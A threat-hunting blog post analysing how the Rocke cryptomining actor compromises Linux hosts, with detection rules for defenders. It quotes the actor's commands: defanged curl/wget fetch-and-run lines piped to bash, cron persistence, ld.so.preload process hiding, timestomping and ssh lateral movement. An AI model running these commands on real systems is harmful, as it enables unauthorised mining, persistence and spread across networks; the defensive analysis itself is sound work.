Threat Hunting in Linux For Rocke Cryptocurrency Mining Malware

By Brian Donohue

Archived: 2026-04-05 19:13:33 UTC

In this post, we'll cover a threat actor named Rocke (also known as Iron) and some of the techniques the actor uses to compromise Linux systems. Palo Alto Networks' Unit 42 and Cisco Talos Group have each published research examining Rocke campaigns, noting that the adversary's activity dates back at least as far as April 2018.

Rocke has primarily been associated with cryptocurrency mining payloads and the Xbash malware family. However, in recent campaigns, notably those examined by Talos Group and Unit 42 in August 2018 and January 2019 respectively, the adversary has combined its cryptocurrency mining payloads with a script to establish persistence and uninstall security software that may prevent it from executing.

We're going to focus on tactics, techniques, and procedures (TTPs) from this recent campaign and recommend some hunts that will help you uncover Rocke-related activity in your environment using endpoint data.

Remote Code Execution in Public-Facing Apps (T1190)

Published research by Unit 42 and Talos Group indicates that Rocke has exploited remote code execution (RCE) vulnerabilities in Oracle Weblogic, Apache Struts, Adobe ColdFusion, phpMyAdmin, Redis, and other public-facing services. It's ideal but difficult to detect Rocke in near-real-time as the adversary attempts to execute code.

Depending on the configuration of web applications in your organization, legitimate command shells may appear very similarly to web shells and RCE vulnerabilities when examined via endpoint detection and response (EDR) telemetry. Since Rocke exploits a diverse array of services, it may be more effective to approach detection from a reporting perspective rather than an alerting perspective. By leveraging this method, you can review endpoint data periodically to see which processes have spawned from PHP, Java, or other processes associated with the services that Rocke is thought to exploit.

Execution & Discovery

Downloading and Deobfuscating Code (T1140)

When Rocke achieves code execution on an endpoint, the actor proceeds to use the `curl` or `wget` utilities to download payloads to execute with a bash shell. The downloaded payloads are hosted using Pastebin, a popular online code repository.

```
(curl -fsSL hxxps://pastebin[.]com/raw/sF3gViaw || wget -q -O-
hxxps://pastebin[.]com/raw/sF3gViaw)|base64 -d |/bin/bash
```

The above command is a first stage script that delivers further payloads to a host. It uses the `curl` or `wget` command—depending on which is present on the host—then uses the `base64` utility to deobfuscate the downloaded code and execute that result using the bash command shell. The second stage delivered is quite lengthy, and we'll collapse it to only the relevant portions for detection here.

Stopping Competing Miners

The first part of the second stage script delivered by Rocke attempts to stop other cryptocurrency miner processes with commands such as:

```
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f minerd
```

These commands eliminate potential competition for resources on an infected system, but they also present a potentially high-fidelity alert for defenders. Most environments do not commonly execute these `pkill` commands with command line options including miner names.

Discovering Competing Miners Using Network Connections (T1049)

After these process stopping commands, Rocke conducts additional reconnaissance to determine if unknown miners are executing on the system using the `netstat` command. By stringing the output of `netstat` together with text searches, the actor searches for additional processes to stop:

```
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
```

System administrators may commonly use the `netstat` command, but most operational environments probably don't often use `grep` commands to search for the strings `:3333`, `:4444`, or `:5555`. These `grep` commands —along with the `pkill` commands above—present an interesting phenomenon: they are common fixtures among cryptocurrency miner script payloads for Linux in general that are not exclusive to Rocke. For research on your own, you can perform a quick Google search to verify this using the following terms:

```
"pkill" "xmrig" site:pastebin.com
```

While traditional command line logging is rarely implemented on most Linux systems, EDR solutions or other audit technologies that keep this information allow a focused detection approach, even into historical records.

Miner Payload Execution and Masquerading (T1036)

Once the path has been cleared of other miners, Rocke then deploys its mining payload.

```
(curl -fsSL --connect-timeout 120 hxxps://master[.]minerxmr[.]ru/One/c -o /var/tmp/config.json||wget hxxps://master[.]minerxmr[.]ru/One/c -O /var/tmp/config.json) && chmod +x /var/tmp/config.json
```

```
(curl -fsSL --connect-timeout 120 hxxps://master[.]minerxmr[.]ru/One/x1 -o /var/tmp/kworkerds||wget hxxps://master[.]minerxmr[.]ru/One/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
```

```
nohup /var/tmp/kworkerds >/dev/null 2>&1 &
```

As with previous payload deliveries, the miner itself is downloaded using `curl` or `wget`. First, a `config.json` file containing miner configuration data is written to the `/tmp` folder followed shortly after by a miner binary itself named `kworkerds`. The miner is executed using the `nohup` command, discarding the output and allowing the binary to execute in the background with a trailing ampersand (`&`) in the command line.

Execution in this manner is a form of masquerading, as the binary is named partially after a Linux kernel worker thread. Linux systems will execute processes named `kworker` all the time, but the processes will not use a binary in a `/tmp` folder. This becomes a high fidelity behavior to use for alerts.

Persisting with Cron Jobs (T1168)

Rocke uses cron jobs to persist on victim systems. Cron is a *NIX technology analogous to (and long predating) Scheduled Tasks in Windows. It gives system administrators the ability to execute commands on a schedule without the need to be logged in to a system. It also allows them the ability to schedule commands to execute as non-administrator users on a system. When adversaries manipulate cron jobs, they usually do so in one of two ways:

1. Replacing the cron schedule, known as a crontab, with their own
2. Placing a malicious script in a folder known to contain scripts that will execute hourly, daily, or weekly as part of existing cron jobs

In this case, Rocke uses both options. They placed malicious scripts into folders known to execute during cron jobs. This is achieved by using `curl` or `wget`, depending on system support, to download a bash shell script and write it into numerous folders:

- `/etc/cron.hourly/oanacroner`
- `/etc/cron.daily/oanacroner`
- `/etc/cron.monthly/oanacroner`

```
(curl -fsSL --connect-timeout 120 hxxps://pastebin[.]com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner||wget hxxps://pastebin[.]com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner)
```

Depending on the configuration of a Linux system, crontab schedules may exist in numerous locations for multiple users. Rocke takes advantage of this to modify crontabs in these locations:

- `/etc/cron.d/root`
- `/etc/cron.d/apache`
- `/var/spool/cron/root`

- `/var/spool/cron/crontabs/root`

`echo -e "*/10 * * * * root (curl -fsSL hxxps://pastebin[.]com/raw/1NtRkBc3||wget -q -O-hxxps://pastebin[.]com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root`

To modify these schedules, Rocke directly modifies the files by echoing content into them as shown above. This method of editing crontab schedules is used by other adversaries, and we've also found other adversaries use the `crontab` system utility to replace schedules in a different fashion. The echo method is harder to observe using EDR data as echo is an internal shell command rather than a utility.

Defense Evasion

Hiding Processes with Process Injection (T1055)

Rocke uses a novel method to hide the execution of `kworkerds` from casual observation. The adversary uses a modified version of the libprocesshider project compiled as a shared object, the Linux equivalent of a Windows Dynamic-Link Library (DLL). To execute the code Rocke modifies `/etc/ld.so.preload`, a configuration file that will inject listed shared objects into executing processes on a Linux system.

`echo /usr/local/lib/libntpd.so > /etc/ld.so.preload`

This will prevent processes such as the `ps` utility from observing `kworkerds`, but it will not prevent security software that monitors syscalls from observing the malicious process. Trend Micro showed the effects of this technique in a blog post.

The `ld.so.preload` configuration file isn't modified very often outside certain software packages. This can be a medium confidence alert once it's been tuned for a given environment, with much higher confidence when combined with other means of detection previously addressed.

Changing Timestamps (T1099)

This adversary uses the `touch` command to manipulate timestamps on victim systems in a process known as "timestomping." This technique hinders filesystem forensic analysis to determine what files were modified around the time of illicit activity. To modify timestamps, numerous commands similar to this are issued:

`touch -acmr /bin/sh /etc/cron.hourly/oanacroner`

This command allows Rocke to change the access and modification timestamps (as indicated by the `a` and `m` flags) of `/etc/cron.hourly/oanacroner` without creating the file if it doesn't already exist (via the `c` flag). The modification of timestamps with touch usually uses the current system time unless told otherwise. In this case, Rocke uses touch with the `r` command flag to specify a reference file of `/bin/sh`. This allows touch to copy timestamps from `/bin/sh` and apply them to the specified script file left by the adversary. This action blends the timestamps of numerous malicious files in with the timestamps of files changed during updates and installations.

Lateral Movement with SSH (T1021)

Adversaries deploying cryptocurrency miners on Windows commonly use built-in services to move laterally, and the same is true of Linux systems in this case. Rocke looks for the presence of SSH public key configuration and a list of known local hosts on a Linux server to move laterally. If these materials are present, the adversary issues commands using the `ssh` utility such as these, where `$h` is a variable in the script for discovered hosts:

```
ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL hxxps://pastebin[.]com/raw/1NtRkBc3||wget -q -O- hxxps://pastebin[.]com/raw/1NtRkBc3)|sh'
```

If it successfully connects to any other system, the same sequence of events described in the rest of the article happens on connected systems. This behavior can lead to a medium confidence alert once some tuning brings system administration and software deployment noise down.

Behavioral Indicators of Compromise

Detecting Stops of Miner Processes
High Confidence
Process is `pkill` AND
Command line contains `stratum` , `minerd` , `xmr` , OR `cryptonight`

Recon of Miner Network Connections
Medium Confidence, tune out JAMF configuration management if needed
Process is `grep` AND
Command line contains `:3333` , `:4444` , OR `:5555`

Downloading from Pastebin
High Confidence
Process is `curl` OR `wget` AND
Command line contains `pastebin.com`

Downloading Binary to Temporary Folders
Medium Confidence, tune out configuration management systems
Process is `curl` OR `wget` AND
Writes ELF binary to `/tmp/` , `/var/tmp` , OR `/dev/shm`

Timestamp Manipulation
High Confidence, fragile due to ability to change command line flags
Process is `touch` AND
Command line contains `-acmr`

Code Injection Using Preload
Medium confidence, tune out system monitoring and backup systems
File modified is `/etc/ld.so.preload`

Lateral Movement Using SSH
Medium confidence, tune out software deployment

Process is `ssh` AND
Command line contains `curl`, `wget`, AND `|sh`

Conclusion

The tools and techniques used by Rocke to compromise Linux systems exhibit clear-cut, malicious behavior, and you can definitely use the behaviors to detect this actor in your environment. Approaching with the recommended steps will help you build detection capabilities for your Linux endpoints that will mirror coverage you have for the Windows portion of your network.
